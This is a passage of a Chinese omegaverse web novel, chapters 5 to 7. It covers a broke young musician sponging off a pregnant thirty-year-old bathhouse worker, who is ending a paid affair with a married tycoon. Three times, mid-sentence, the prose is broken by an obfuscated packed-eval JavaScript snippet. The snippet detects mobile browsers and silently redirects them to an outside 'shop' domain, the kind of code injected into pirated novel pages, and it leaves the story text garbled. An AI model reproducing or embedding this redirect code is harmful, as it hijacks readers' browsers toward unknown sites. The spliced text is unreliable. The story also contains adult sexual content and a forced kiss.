纪屿欢黑漆漆的眸子紧盯着他,不放过他脸上任何一丝细微的表情变化——安达的脸上丝毫没有欲望,甚至连一丝被漂亮面孔诱惑的动摇都没有。只有最本能的、近乎有些滑稽的窘迫。 “果然没有吧,”纪屿欢忽然笑了,那笑容里带着一丝了然,“你看,我虽然长得漂亮,却没有什么性吸引力。你现在相信我是beta了吗?” 安达怔怔地看着他,纪屿欢的那种漂亮确实和omega不同,他的脸只有巴掌大,外轮廓线条流畅,乍一看会给人柔弱的印象,细看才会发现他眉眼精致,皮肤纤薄,鼻梁细窄,漂亮得近乎有些锋利。 如果说om ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安达苦口婆心:“你们这些年轻人不要总熬夜,你现在年纪小没感觉,等人到中年就各种毛病,都是年轻时熬夜熬出来的。” 他是真的困了。孕早期的疲惫和刚才情绪上的大起大落,让他眼皮发沉。他翻了个身,把脸往枕头里埋了埋,几乎是瞬间就被拖入了昏沉的睡意。 纪屿欢在黑暗里睁着眼,指尖无意识地碾着被角,嘴角那点玩味的笑慢慢敛去,只剩下一片空茫。 往常这个时候,他要么在酒吧的后台准备演出,要么在嘈杂的排练室挥霍精力,和那些浑身散发着过剩荷尔蒙和廉价酒精味的家伙混在一起。睡觉?那确实是浪费。 但和无趣的beta在一起,本来就是种浪费。 我究竟在做什么呢?他想。大概只是因为太过无聊了,所以才想要找点乐子。 若不是资金断裂,乐队原地散伙,他也不至于沦落到如此境地。他身上所有东西都用来抵押还钱,除了那一把电吉他。 而现在,他竟然和一个三十岁的老男人睡在一起。真是可笑极了。 不过没关系,这只是暂时的放逐。总有一天他会重建他的挪得之城,他会扬名立万,让所有人听见他的声音,无论是愿意听的人还是不愿意听的人。为此,付出些代价算不了什么。 5. 05 安达觉得自己捡回家的这个小对象哪哪都好,漂亮、爱笑、嘴甜,就是太娇气了,跟个小少爷似的。 自从纪屿欢住进来,家里的采买都由他负责,安达只管给钱。纪屿欢说他身体不好,体弱多病,所以米不能吃普通的米,要吃40一斤的响水贡米;肉不能吃普通的肉,要吃什么冷鲜无抗生素亚麻籽黑猪肉;还有,隔三岔五就要去医院开中药,中药走不了医保,一副就要几十块。纪屿欢自己一分钱也没有,全花的安达的钱。 四十一斤的贡米和三四块一斤的普通大米,安达吃着没有任何区别。不都是米嘛,还能吃出两种味道来? 他把这话跟纪屿欢说了,纪屿欢笑着说:“哥,不是我挑剔,但那些便宜的米都是陈米死米,人吃了不好。再说,贵的和便宜的味道肯定有区别,这天天要吃的东西,可不能吝啬。” 安达心说:天天吃这米,对人是好了,但对钱包不好啊。但他怕纪屿欢嫌弃他抠门,咬牙说道:“那就按你喜欢的买吧!” 纪屿欢忽然倾身向前,在他脸颊上啄了下,“哥,你真好。” 安达老脸发烫,脑海中嗡嗡一片白,“突、突然整这出做什么。” 纪屿欢看着他,一双杏眼清澈明亮,“哥,你不要嫌我挑剔,我是真心想要和你好好过的。你对我的好,我都记在心里。” 安达轻咳一声,埋头扒饭。他咂巴了两下,好像真能从那四十一斤的米里多品出一点滋味来。 除了吃上挑剔,纪屿欢还热衷于购物。据说他穿的衣服和配饰都是潮牌或是小众设计师品牌,再要么就是二手奢侈品,动辄成百上千。 安达想,年轻人嘛,总不能跟他一样土,浑身上下加起来就几百块,还穿了好几年。所以每次纪屿欢管他要钱,安达还是咬牙给了。 不知不觉间,安达已经把自己摆在了一家之主的位置上。他觉得自己像讨了个漂亮娇气的小媳妇,要满足他的要求,实在是不容易。可是每次纪屿欢冲他笑,软声叫“哥,你最好了”,他又不由有些飘飘然,仿佛自己的努力得到了肯定似的。 他爱买那些衣服就让他买吧,老婆穿得好看,他也有面啊。 安达粗略算了算,只要纪屿欢不太过败家,别沾黄赌毒,光是吃好穿好,他还是勉强能供得起的。 安达想,纪屿欢现在还没有孩子,不懂家庭责任,难免幼稚些,等到孩子出生,他自然就会把注意力投入到孩子身上。只要两人齐心,日子总会越过越红火的。 * 纪屿欢站在天龙泉的门口,不由冷笑。 这洗浴中心的装修实在是毫无格调,活脱脱的暴发户风格。大门正上方挂着三个大大的金色艺术字——“天龙泉”,下方还有一排小字——“天龙人泡天龙泉”。不得不说,这标语也土得他浑身起鸡皮疙瘩。 安达就在这地方打工? 他只是路过,顺便看看安达上班的地方。 原来那个乐队排练室竟然坐地起价,导致场地租金还差一笔,他在路上漫无目的地游荡,不知不觉就走到这里来了。 纪屿欢看着天龙泉的招牌,微微眯了眯眼。 排练室的租金……那是乐队的正经事。安达既然要做他的丈夫,支持他的事业也是分内之事。又不是白拿,以后乐队火了,钱自然会还的。 纪屿欢在心里把这笔账算得清清楚楚,然后推门走了进去。 纪屿欢走进天龙泉大门,前台穿着职业装的男人就立刻一脸谄媚地迎了上来,“先生您好,我是小杜,很高兴为您服务!先生是第一次来咱们天龙泉吗?” 纪屿欢今天没穿他那些奇装异服,穿了一件名牌的满印LOGO外套,没戴美瞳,耳钉也摘干净了,看起来真有点像个出来溜达的小少爷。 纪屿欢扫了前台小杜一眼,略微挑了挑眉,“你们这里有哪些服务?” 小杜满脸笑容,“我们这里各式服务都有,足浴198、中式按摩358、泰式按摩398、精油保健598、肾保健798,您看您想要哪一种呢?现在您正好赶上我们年终优惠活动,您要是充个2888会员就送3888,这次就能直接给您减三百呢。” 一连串的话术吵得纪屿欢耳朵发疼,他皱了皱眉,说:“我是来找人的。” 小杜问:“您是要找谁呢?” “我来找我未婚夫。” 小杜顿时有些紧张。这是什么情况,查岗来了?他们这里什么样的客人都有,当然也有带着小三来享受的,搞不好这人就是来捉奸的。 “这……非常抱歉,先生,我们是不能透露客人的个人隐私的……” 眼前这个年轻漂亮的男人笑了笑,露出一对酒窝和整洁的牙齿,“他是你们这里的技师。” 小杜的眼神瞬间有些鄙夷了。原以为这个漂亮男人的未婚夫应该是个大款,结果竟然是天龙泉的技师。看来,这个男人只不过是徒有其表罢了,他那件名牌外套肯定也是假的。 “你老公叫什么名字?我叫他出来。” 纪屿欢微笑着纠正,“我们还没有结婚,所以是未婚夫。” 小杜瞬间就没了耐心,“哎呀有什么区别?少说这些有的没的了,你就说他叫什么吧!” 纪屿欢问:“我不能进去找他吗?” “这怎么行?”小杜吹胡子瞪眼道,“你老公没跟你说过这里的规矩吗?这里面都是贵宾,贵宾懂吗?消费过的才叫贵宾。你这毛手毛脚的进去冲撞了贵宾怎么办?” 纪屿欢这辈子里打过交道的人都是些有基本礼貌与素养的,他还从来没被这么势利地对待过。 要不是因为那个大叔,他这辈子也不会到这种地方来。 他耐着性子道:“那行吧,我就不进去了,你帮我把他叫出来,他的名字是……” “小杜,怎么这里吵吵嚷嚷的?” 另一个男人的声音从背后传来,声如洪钟、中气十足,自带一股派头。 小杜脸上的不耐烦立刻收了个干干净净,把纪屿欢晾在一旁,换上谄媚的笑脸,点头哈腰地迎过去,“林老板!您怎么突然大驾光临了?您不是在欧洲谈生意吗?” 纪屿欢循声望去,首先看见的是一双锃亮的皮鞋,一看就不是便宜货,再往上是裁剪得体的深色西裤和浅色羊绒衫,外头搭了件呢面大衣。 人不胖不瘦,个子和纪屿欢差不多高,肩背笔直,五官端正,看起来三十出头,透着成熟男人的气质。 他像没看见纪屿欢似的,对小杜问道:“安达今天在吧?” 听见“安达”两个字,纪屿欢一时被这荒谬的景象气笑了,这个林老板竟然也是来找安达的,一个土鳖大叔倒还挺抢手。那势利眼前台对林老板嘘寒问暖的,却把他晾在一边连个正眼也不给,真是同人不同命。 “在是在,就是……”小杜见林老板准备直接进去,忙拿起一边的牌子谄媚地笑道,“林老板,您也不一定非得找他,咱们天龙泉最近来了好几个新的技师,还有好几项新的服务,那都是个顶个的……” 林老板抬了抬手,“不必了,我对这些没兴趣,就是来找安达的。”说完抬脚就走。 小杜忙追在后面,“哎林老板等等,哪能让您这种贵客自己进去呢,我领您进去!” 俩人都进去了,把纪屿欢一人晾在外头。 过了一会儿,小杜出来了,表情似乎有些吃瘪,他上下扫了纪屿欢一眼,“你咋还在呢?” 纪屿欢似笑非笑,指了指小册子上安达的头像,“我也想找他按摩,要多少?” 小杜心里不爽极了,他可还惦记着上次安达骂他傻叉还把他安全帽摔成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547874|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三瓣的事呢!今天这是什么晦气日子,怎么一个两个都要找这个没姿色又没教养的老男人?他没好气道:“他是我们这儿的高级技师,在基础服务费上另加三百。” 纪屿欢道:“那我就要这个中式按摩。” 小杜态度勉强好了些,“那您先付款,我再带您到里面等着。” 纪屿欢问:“现在不行?” “您刚刚也看见了,安达正给其他客人服务呢。” “刚刚那个林老板是谁?” 小杜那表情活脱脱就是说纪屿欢没见识,连林老板这等大人物都不认识。 “林老板你都不知道?那林家你总知道吧?” 纪屿欢似笑非笑,“我怎么知道你说的是哪个林家?” 小杜一脸对土鳖的鄙夷:“林家可是桃李市最有名望的家族了,你连这都不知道?林老板的爸爸以前可是当过桃李市市长,林老板更是年轻有为,才35岁就是林氏集团的大总裁了。” “哦,原来是这个林家啊,”纪屿欢嘴角扯出一丝讥诮,“那就不奇怪了,没品位的家族就会生出没品位的人,怪不得他会来这种没品味的地方。说到底,不过是个35岁的老男人而已。” 小杜又惊又气地瞪着他,随即冷哼一声,“你算哪根葱,也敢这么说林老板?35怎么了?35正是Alpha最有魅力的年纪,但是beta和omega就不一样了,到了30岁就是一条分水岭,立刻就像蔫了的黄花菜了。反正像你这样的人,估计一辈子也比不上林老板的一根手指头吧!” “是么?”纪屿欢不置可否,微微眯了眯眼,“这个林老板……叫林韬,对吧?” 小杜道:“算你识相,总算想起他是谁了吧?” “啊,”纪屿欢耸了耸肩,“背靠祖荫、自以为是的蠢货。” 小杜:? “他生活不能自理吗?洗个澡还要别人代劳。” 小杜忍无可忍:“你这人脑子有毛病吧?得了臆想症就去治!” 纪屿欢毫不理会他的谩骂,“他一般要洗多久?” “这个就不好说了,林老板有自己的节奏!” 小杜腹诽道:那要看他们在里头搞些什么,偷鸡摸狗起来谁知道呢? “这有什么不好说的,难道你们这些服务都没有一个固定的时长吗?想做多久都行?” 小杜皮笑肉不笑:“林老板是我们的VVVIP客人,very very very important guest,understand?所以呢,得优先为他服务。您要是等不急,这边可以为您推荐其他技师哦,技术也很好的呢。” 就算他看不惯安达,也不可能冒着得罪林老板的风险,在这种时候去打扰他们啊。 “不用了,”纪屿欢没好气道,“你们服务态度太差,我另找别家。” 这到底是个什么鬼地方,想见安达一面还难如登天,他真是脑子被门夹了才会来这里受气。 “等等,”小杜和他大眼瞪小眼半晌,终于想起来了,“你不是来找你未婚夫的吗?” “那是骗你的,蠢蛋,”纪屿欢露齿笑了,那笑容漂亮明媚而恶毒,“你觉得我像是在这种地方有未婚夫的人吗?” 小杜一愣,下意识回答道:“确实不像,但是……” “本来我对你们这儿挺感兴趣的,准备办一张最高档12888的会员卡,”纪屿欢掀了掀唇角,眼神嘲弄,“但是,谁让我看见你这张拜高踩低的脸就恶心呢?所以还是算了吧,我何必花钱给自己找不痛快?” 说完,他目睹小杜的脸色逐渐由白转绿再转黑,然后头也不回干脆利落地走了。 “靠,什么人啊!”小杜将那本印着安达头像的小册子狠狠往桌上一摔,“果然沾上安达就没好事儿!” 6. 06 天龙泉里灯火通明,水波荡漾,金碧辉煌。 不知为何,安达这两天忽然就不想吐了,还倍儿有劲。他一边盘算着以后的日子,一边卖力给客人搓背捏腿,搓完一个接一个,捏完一条又一条。 他心情愉悦地哼着不成调的小曲,嘴上还时不时跟客人唠嗑两句,时间不知不觉就过去了,竟也不觉得累。 他搓得正起劲呢,却忽然被告知林老板来了。 听见这个消息,安达手一抖,搓澡巾啪嗒一下掉在了地上。 林老板不是前两天还在欧洲吗?怎么会忽然跑天龙泉来? 最关键的是……他俩不是已经掰了吗? 自从那天以后,林老板就再也没给他发过消息,既然如此,安达就当林老板默认了。 可是现在,林老板为什么又忽然跑天龙泉来了?难不成是因为他不经过林老板的同意就擅自和他断绝关系,林老板找他讨债来了? 想到这里,安达不由打了个寒战。 那可都是他的劳动所得,他是打死也不会把钱还给林老板的。他这三年也称得上兢兢业业,没有功劳也有苦劳。 像他这种年纪的beta,人淡如菊也就算了,就连菊花也是淡淡的。 而林老板是顶级alpha,35岁还在血气方刚、如狼似虎的年纪。 林老板在这种事上毫不含糊,由于alpha在beta身上难以得到彻底的满足,所以林老板每次都得把安达弄得快死过去才肯罢休。 若不是林老板跟个打桩机似的,凿太狠,他好端端一个beta又怎么会怀孕两次。想到这里,安达不由充满了怨气:靠,搞那么狠,对你那个年轻漂亮的omega老婆就不舍得这么做吧?有点没处撒的牛劲和阴招全使他这个人淡如菊的beta身上了。 总而言之,这三年里安达没怎么体会过做下位的快乐,反而上出了一种班味,或者说……被、上出了一种班味? “喂,安达,你还在这里发什么呆?你多大的架子,还想让林老板等你不成?”杜泽瑞的声音将他拽回了现实。 安达弯腰捡起地上的搓澡巾,丢进一旁的脏衣篓里,手心一片潮湿,不知道是水还是汗。 沿着熟悉的走廊,一路走到8812,林老板每次来都在这个房间,这里几乎已经成为了他的专属。 安达敲了敲门,传来林老板的声音,“进!”安达深吸一口气,拧动门把,低着头走了进去。 林老板正坐在沙发上,双腿交叠,脊背笔挺,从发型到穿着都一丝不苟。他是个极其龟毛的人,出现在公共场合的时候不会容许自己身上有一丝邋遢的地方。 安达还没来得及开口,便见林老板气定神闲地拍了拍自己身旁的位置,“小安啊,你来了,坐过来吧。” 安达走了过去,正襟危坐,喉咙发紧,“林老板,您怎么来了,您不是在欧洲吗?” 林老板挑了挑眉,温柔一笑,“怎么,我们才一个多礼拜不见,之前说的都忘了?要叫我老林。” 林老板一直让安达管他叫“老林”,大概是这样显得他年龄比安达大见识比安达多,满足了他的大男子主义和奇怪的自尊心。 其实,林韬只比安达大5岁,但他总是一副老干部做派,皮笑肉不笑的,说出来的笑话冷得能让人在炎炎酷暑里抖三抖。这大概是由于他出身于那种很根正苗红的家庭,小学作文写的是《我的退伍老兵爷爷》和《我的市长爸爸》,从小就被官架子腌入味了。 安达道:“林老板,这不合适,我哪能这么叫呢?这也忒不知天高地厚了。” 林韬叹了口气,看向他,“安达,还记不记得我说过,我最喜欢你哪点?” 安达的嘴角抽搐了两下:又来了。 林老板有两大爱好:第一,扯哲学;第二,讲冷笑话。 林老板曾对安达说过:“你和别人不一样,你的身上有一种能量,让人觉得世间万物‘理应如此’的能量,这种能量会让人不自觉地放松下来。” 此刻,林老板看着他,一脸陶醉地将他搂在怀里,“简单来说,你让人感受到矛盾的辩证统一性。” 安达听完默默在心里翻了个白眼,这又是什么鬼,跟他一个高中没念完的文盲说这些真是白搭。 虽然他完全没听懂,但他直觉林老板那个知书达理、温柔贤惠的omega老婆肯定能听懂林老板在说什么,并会在听完后哭哭啼啼地给林老板一巴掌。 安达干巴巴道:“对不起,林老板,我完全听不懂您在说什么。” 林韬道:“再往简单了说,其实你心里想管我叫老林,但是嘴上不好意思。” 安达道:“没这回事,别污蔑我,我不管心里还是嘴上都对您很尊敬。” 林韬道:“尊敬是一回事,但是我知道你本质上是一个没什么阶级意识的人,这点我很喜欢。” 安达无力道:“林老板,这些‘矛盾’啊‘阶级’啊,您跟我说再多也是白搭!总之,不能叫就是不能叫,不合适就是不合适!” 林韬动作一顿,终于正色道:“以前能叫,现在怎么就不行?安达,你闹脾气也该有个限度,三十岁的人了,应该多一些内涵,少一些幼稚,平时多看点书修养身心。我可是连夜从欧洲回来,时差都没倒过来,就马不停蹄地过来了。” 他说到这里,像是忽然想起什么,语气不紧不慢地补了一句: “对了,说到时差,我给你讲个故事。有一天,一个人倒时差倒到凌晨三点,起来照镜子,发现自己看起来像通宵了一整夜。” “后来他想了想,觉得也没看错,啊哈。” 安达:“……” 安达道:“以前和现在……不一样了。林老板,您也看了我给您发的信息了吧?” 林韬皱了皱眉,脸色逐渐冷了下来,“安达,你别告诉我那是认真的。” 安达身体一僵:“……我应该已经说得很清楚了吧。” 林老板盯着他,目光沉稳而锋利。“你说清楚什么了?”他反问,“单方面发几条信息就算说清楚了?电话不接消息不回。安达,你挺能啊你。” 安达弱弱反驳道:“电话我是没接,但我不是故意的,是我那时候在洗澡,没听到。但是消息我可都回了,没回消息的另有其人。” 林韬看着他理不直气也不壮的样子,瞬间就被气笑了,“我是没回,那你还想怎么样?难不成我给你道个歉,行不?” 安达:“没关系。” 林韬:“……” 安达抬头看向林老板,“林老板,我真的是认真的,我已经……总之,我以后不能再做这种行当了……” 林老板脸色发沉,“安达,平心而论,我这三年对你不差吧?你起码得给我一个原因,别想拿这种理由搪塞我。” 安达垂下了头,“林老板,您对我和我老爹都很好,我很感谢您,可是我真的没法儿再做这种见不得人的事了。” 林韬盯着他看了半晌,那目光像是把人放进冷水里慢慢泡着,让人哪哪都不自在。 “见不得人?”他缓缓重复了一遍,“你以前可不是这么说的。” 安达咬牙道:“以前是我不懂事,也没得选。现在不一样了,我就想过点普通日子。” “哪里不一样?”林韬靠回沙发,双臂抱胸,像一尊冷硬的雕塑,“你年纪大了?还是良心忽然长出来了?说结束就要结束?” 安达垂头,下意识摸了下自己的小腹,忽然感到一阵眩晕想吐。 良心是没长出来,但是孩子长出来了。 该长的不长,不该长的肆意生长。 林老板见他不说话,眉心渐渐拧了起来。“安达,”他说,“你是不是对‘结束’两个字有误解?” 安达抬头看他。 “我不否认,这段关系开始的时候,你是走投无路。”林韬语气平稳,“但这三年,我也没亏待过你。” “你爹能好好活到现在,不是天上掉下来的。” 这话像一根细针,扎在安达心头。 他指尖发麻,却还是咬牙道:“我真的很感谢您,您让我当牛做马我都愿意,可是我真的不能再……” “当牛做马?”林韬忽然轻轻一笑,“安达,你年纪也不小了。要知道,我身边从来不缺想给我当牛做马的人,个个都是人精,八面玲珑、吃苦耐劳又有真才实学,和他们比,你的优势在哪里?你的竞争力又在哪里?” “坦白说,我对你很失望。我让你跟着我,就是图个放松而已,结果你连这么简单的事都做不好。你今年三十了,又是beta,在这种地方干一辈子,外头人怎么看你,你自己心里没数?” 安达知道林老板说的都是事实,也知道林老板是真的生气了,他羞愧难当:“对不起……林老板。可我真的……不能再继续了。” 林韬沉默了许久。屋里安静极了,只能隐隐约约听见水管里流动的水声和屋外的笑语。 “你是不是有事瞒着我?”林韬忽然问。 安达心脏猛地一跳,下意识地避开他的视线,“没有。” “没有你这么着急抽身?”林韬盯着他,“安达,你说实话,是不是有人了?” 安达沉默着,忽然不知道哪来的勇气,顶撞道:“林老板,我们已经断了,这跟你没关系了。” 林韬:“安达,你搞清楚。在今天之前,我们可没断,你这样属于出轨。” 安达小声道:“那照这么说,也是你出轨在先。” 林老板难以置信地望着他:“我花钱包个人,难道还要容许他出轨?” 安达憋了半晌:“……你以前不老说什么人人平等吗,不能因为你比我有钱就剥削我。” 林韬怒极反笑,“行啊,安达,你现在是能干了,都学会用‘剥削’了。” 安达:“……托您的福,耳濡目染。那不然凭什么你能有老婆,我就不能有老婆?你难道会不让公司里的员工讨老婆吗?” “安达,你把自己当什么了?你难道是我公司里的员工?我们两个难道是雇佣关系?” 安达越发理直气壮:“就算不是,那凭什么和你有雇佣关系的可以讨老婆,我就不行?那不是更说明了你对我的剥削吗?” 说完,他瞪着林老板,想以此展现自己的气势。 其实他根本不懂“剥削”是什么意思,但林老板总爱扯这些有的没的,他就记住了这个词。而且,他就不是那种会乖乖挨骂的性格,非得顶回去两句不可。 他现在有些为自己的嘴快而后悔,毕竟林老板对他有恩,于情于理他都不该这么和林老板说话。 他有些心虚地观察林老板的反应。 目光相接的刹那,林老板忽然欺身上前,将他压在沙发上,钳住他的双手,近乎狠戾地吮吸着他的嘴唇。 安达不知道,他说的那些话在挑战着一个Alpha与生俱来的征服欲与占有欲,汹涌的Alpha信息素将安达包裹起来,可他却浑然不觉。 安达猛地瞪大眼睛,拼命地挣扎着,“唔,唔!林老板,你别这样!” 林韬动作一顿,终于还是松开了他。他到底是个有教养的人,从小到大受到的教育不允许他做出这样强迫一个普通beta的行为。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547875|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他抬手抹了把唇角,喘了口气,道:“安达,我们好歹相识一场,你老实告诉我,到底是怎么个事。” 安达嘴唇上火辣辣的,还残存着血腥味。他忽然觉得很难过,难过极了。心里酸酸涨涨的,所有委屈的情绪都一股脑地冒了出来,让他很想号啕大哭一场。 他忽然脑子一热,扑通一声在林老板面前跪了下来,声泪俱下,“林老板,我和他是真爱,我是真想和他结婚。求林老板成全!” 林韬显然没料到他会来这一出,猛站起身来,“你干什么?!起来!” 安达却没动,膝盖像是生了根,跪在地上,肩膀一抖一抖的,捂着脸哭得毫无形象可言。 “林老板,我求你了……”他抬起头,眼眶通红,眼泪糊了满脸,“我不是玩你,也不是一时糊涂。我跟他是真心的,是真的想结婚,过日子的那种。” “结婚?过日子?”林韬近乎有些咬牙切齿,“安达,你是不是疯了,突然跟我说你要和别人结婚?你哪根筋搭错了?” “我没疯……林老板,你明知道我一直向往家庭,为什么还要逼我继续做这种破坏别人家庭的事!我这样一定会遭报应的……”安达抽抽噎噎道。 “我逼你做?”林韬逼近一步,“你忘了你当时是怎么求我的了?现在倒好,跪在我面前说你要去追求真爱?” “那你要我怎么样嘛!”安达忽然爆发了,“我说要给你当牛做马,结果你自己挑三拣四,嫌我又笨又丑又年纪大!那我还能怎么办,我总不能一辈子做这种事吧!那样我怎么在这个社会上立足?怎么面对我老爹和祖宗十八代?!” 屋里静了几秒。安达又心虚了,他怎么敢这么对林老板吼着说话的?怎么在社会上立足是他自己的事,怎么也怪不到林老板的头上吧? “那个人是谁?”林韬揉了揉眉心,问道。 安达身体一僵,下意识地摇头:“就是普通人,你不认识的。” “你们是怎么认识的?” “就……就是相亲认识的。”安达抽噎着说。 林韬冷哼一声:“挺能啊你,还敢背着我去相亲。” 安达的头被这句话压得更低,声音断断续续的:“我没想背着你……我以为我们已经算结束了。我也不图什么高攀,就想找个普通人,安安稳稳过日子。” “普通人?”林韬重复了一遍,像是在咀嚼这个词,语气里带着明显的不屑,“你知道普通人最怕什么吗?” 安达没吭声。 “最怕麻烦,怕你这种说不清道不明的过去,”林韬看着他,语气平淡,却带了一丝不易察觉的疲惫,“安达,你真以为找了个普通人,就能歌舞升平地过下去了?” 这话重重戳在安达痛处。安达喉咙一紧,眼泪掉得更凶,却还是倔强地说:“那也是我的事……是我自己选的。” 屋里安静了很久,久到安达都以为,林韬要发更大的火,但是他没有。 “起来吧。”他说。 安达没动。 林韬冷哼一声,“你别忘了我还是天龙泉的会员,过来给我捏背。” 安达木着脸站起来,揉了揉麻木的双腿,“捏背可以,但是今时不同以往,搓澡不行,打分手炮更不行。” 林韬又被气笑了,“谁要和你打分手炮?” 安达:“那你刚刚强吻我干什么?” 林韬:“……” 安达:“你不懂,我都是为了你好。” 根据他以往的经验,林老板那方面的需求还挺旺盛的,突然强吻他可不就是精虫上脑了吗? 但是现在,他肚子里可是有宝宝了,哪能随便和他那啥呢?就以林老板那个打桩频次,别一不小心给孩子杖毙了,到时候不仅安达自己要哭晕,还会给林老板留下心理阴影,估计一辈子都难硬起来了。 林老板叹了口气,揉了揉眉心,“算了,你走吧。” 安达猛地抬头,“真的?” 林韬看着他,忍不住又叹了口气。安达眼睛鼻头都是红的,眼泪鼻涕一起往下掉,还傻兮兮地咧这个嘴,看起来既可怜又滑稽,很难想象一个三十岁的人还能哭成这样,就算是omega也不兴这样啊。 “……你至于这么高兴吗?” 安达挠挠头,“呃,也还好,就是有点惊讶……” “说实话,我不想成全你的所谓‘真爱’,”林韬说,“但我也不是那么小肚鸡肠的人。” 安达一吸鼻子,真情实感道:“谢谢你,林老板。” 林韬没有回应,只是抬手示意他出去。 安达走到门口,手搭在门把上,忽然停住,深深地弯下腰,朝林老板鞠了一躬。 门关上的那一刻,声音轻得几乎听不见。 林韬口袋里的手机忽然振动了一下,他将手机拿了出来,屏保是他出身名门的妻子,笑得温柔端庄又美丽,和安达完全是两个南辕北辙的物种。 林韬有些记不清和安达是怎么开始的了。对于他来说,施舍一个父亲重病的落魄beta不过是顺手的小事,但是这会让他产生一种被依赖的感觉。 安达对他来说是个无足轻重的调剂品,所以他都没有意识到,不知不觉间,安达已经在他身边三年多了。 而现在,这个一直依赖着他的beta竟然说要去追求什么“真爱”? 屏幕一闪,跳出妻子发来的信息,“老公,我做好饭了,你什么时候回来?” 难道这就是安达想要的家庭和婚姻? 林韬仰面靠在沙发背上,良久,才面色古怪地低笑了一声,语气略带讽意:“呵,真爱。” 7. 07 对于安达来说,日子就这样不咸不淡地过着。家里多了一个人,就好像多了一份期待。安达依旧早出晚归地工作,但只要回到家看见纪屿欢在等他,就仿佛所有的疲惫都被一扫而空了。 有时候他回来得晚,纪屿欢会抱着个枕头,在沙发上睡着,粉色脑袋一垂一垂,跟小鸡啄米似的;有时候他会拨弄他那把吉他,或是对着电脑屏幕皱眉。 但只要纪屿欢听见他回来的动静,便会一脸欣喜地迎到门前,替他脱下外套,甜甜地弯起眼睛对他笑,“哥,你回来啦!” 有时候纪屿欢去搞他那乐队,安达听不见这声“哥”,心里还怪寂寞的。 纪屿欢对物质有种懵懂的奢侈,并非刻意挥霍,只是那些东西对他来说好像都是理所应当。一周过去,安达算了笔账,发现这一周花的钱比他两个月花的都多。 安达叹了口气,当初他承诺了要“养”纪屿欢,自然就会说到做到。可是现在的开销,实在是有些超出了他的能力范围。 还是找个时间和他好好谈谈吧,安达想,纪屿欢也不是那种不讲理的人,应该会理解他的难处的。 周五晚上,安达回家,发现纪屿欢不在。他做好饭,又等了一会儿,但纪屿欢没回家,也没回他的消息,于是安达只好自己先吃了。 纪屿欢之前有几次因为乐队的事夜不归宿,但都会提前和安达报备。安达想着纪屿欢可能在忙,便也没特别放在心上。 他这两天孕反好了些,基本没犯过恶心,只是有些嗜睡。才晚上九点,他就困得不行,于是,给纪屿欢发了条消息后,他便先睡了。 第二天一早,安达一觉醒来,发现身边空无一人。他迷迷糊糊抓过手机想看时间,却被屏幕上一条银行发来的扣款信息瞬间惊醒——账户余额减少了一万块。 除了纪屿欢,没有第二个人知道他的支付密码,安达心里顿时有些发凉。 他本以为纪屿欢只是一时忙,却没想到,纪屿欢一整夜都没回来,就连消息也没一个。 昨晚他给纪屿欢留好饭菜,提前拨出来装进干净盘子里,热一热就能吃。然而,一夜过去,肉是肉菜是菜饭是饭,分毫未动。 安达此刻的心情就跟盘里凉透的冷鲜无抗生素亚麻籽黑猪肉一样。 他给纪屿欢打了好几个电话,等了许久,听筒里只一遍遍地传来“嘟嘟嘟”的忙音。 他第一反应是自己被骗了,纪屿欢在他这儿白吃白住了几天,带着一万块跑了。 但他转念一想,又觉得纪屿欢不是那样的人,毕竟,他把账户密码都告诉纪屿欢了,要刷哪会只刷这么一点。而且,当初纪屿欢跟他说什么“想要一个家”的时候,那样子多动人多诚恳啊,怎么会说跑就跑呢? 也怪他自己蠢,这还没认识几天呢,就把账户密码告诉他了。没办法,他不得不心急,他能等得了,肚子里的孩子可等不了。他必须得尽快拉进两人的关系,把那事办了。 他和纪屿欢每天睡在一张床上,但楚河汉界泾渭分明,到现在连个小手也没拉过。安达觉得自己年纪也不小了,在这种事上过于主动实在是很羞耻,所以一直没法往前迈出一步。 可是现在,别说往前迈步了,就连人都不见了! 他想要报警,但又觉得这样有些小题大做。警察问起来要怎么说呢,说我未婚夫卷走了我一万块钱?可是他对这个所谓的“未婚夫”,除了名字外一概不知,连要去哪里找他都不知道。 安达就这样坐立不安了大半天,他焦虑时闲不下来,把所有衣服洗了碗刷了地也拖了,到了下午三四点,门口终于传来了钥匙转动的声响。 纪屿欢推门进来,裹挟着浓浓的烟草味。他仍旧是一身朋克装扮,但并没有化妆,脸色比往常更加苍白,嘴唇却泛着异样的嫣红。看到坐在客厅里、脸色铁青的安达,他愣了愣,随即嘴角扯出了一抹惯常的、漫不经心的笑容,“哥。” 安达没应声,只是把手机屏幕转向他,上面是那条扣款通知,大大的数字十分夺目。 “你不解释一下吗?” 纪屿欢脸上的笑容淡了点,但仍旧是一副漫不经心的样子,顺手将手里的东西扔进了垃圾桶,看起来像是一团揉皱的纸。 “哦,这个啊,急用,忘了跟你说了。” “忘了?”安达看向纪屿欢,忽然觉得他的脸上仿佛覆盖了一层假面,陌生极了,“你一夜没回来,一声不吭转走一万块钱,电话不接消息不回,就轻飘飘一句忘了?” “不然呢,”纪屿欢语气平淡,“你也知道吧,演出场地很吵,我是听不见手机的任何声音的。” 